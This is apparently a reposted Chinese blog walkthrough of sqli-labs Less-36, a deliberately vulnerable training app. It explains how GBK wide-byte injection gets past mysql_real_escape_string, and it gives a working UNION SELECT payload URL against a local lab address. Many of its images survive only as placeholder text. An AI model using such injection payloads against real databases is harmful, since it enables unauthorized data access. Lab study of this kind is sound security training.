sqli-labs less36 GET- Bypass MYSQL_real_escape_string (GET型绕过MYSQL_real_escape_string的注入)

Posted 2020-10-22 superkrissv

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了sqli-labs less36 GET- Bypass MYSQL_real_escape_string (GET型绕过MYSQL_real_escape_string的注入)相关的知识，希望对你有一定的参考价值。

技术分享图片

看一下mysql_real_escape_string()函数

\\x00　　技术分享图片

\\x1a　　技术分享图片

技术分享图片

注入的关键还是在于闭合引号，同样使用宽字节注入

http://192.168.136.128/sqli-labs-master/Less-36/?id=0%df‘ union select 1,2,3%23

技术分享图片

以上是关于sqli-labs less36 GET- Bypass MYSQL_real_escape_string (GET型绕过MYSQL_real_escape_string的注入)的主要内容，如果未能解决你的问题，请参考以下文章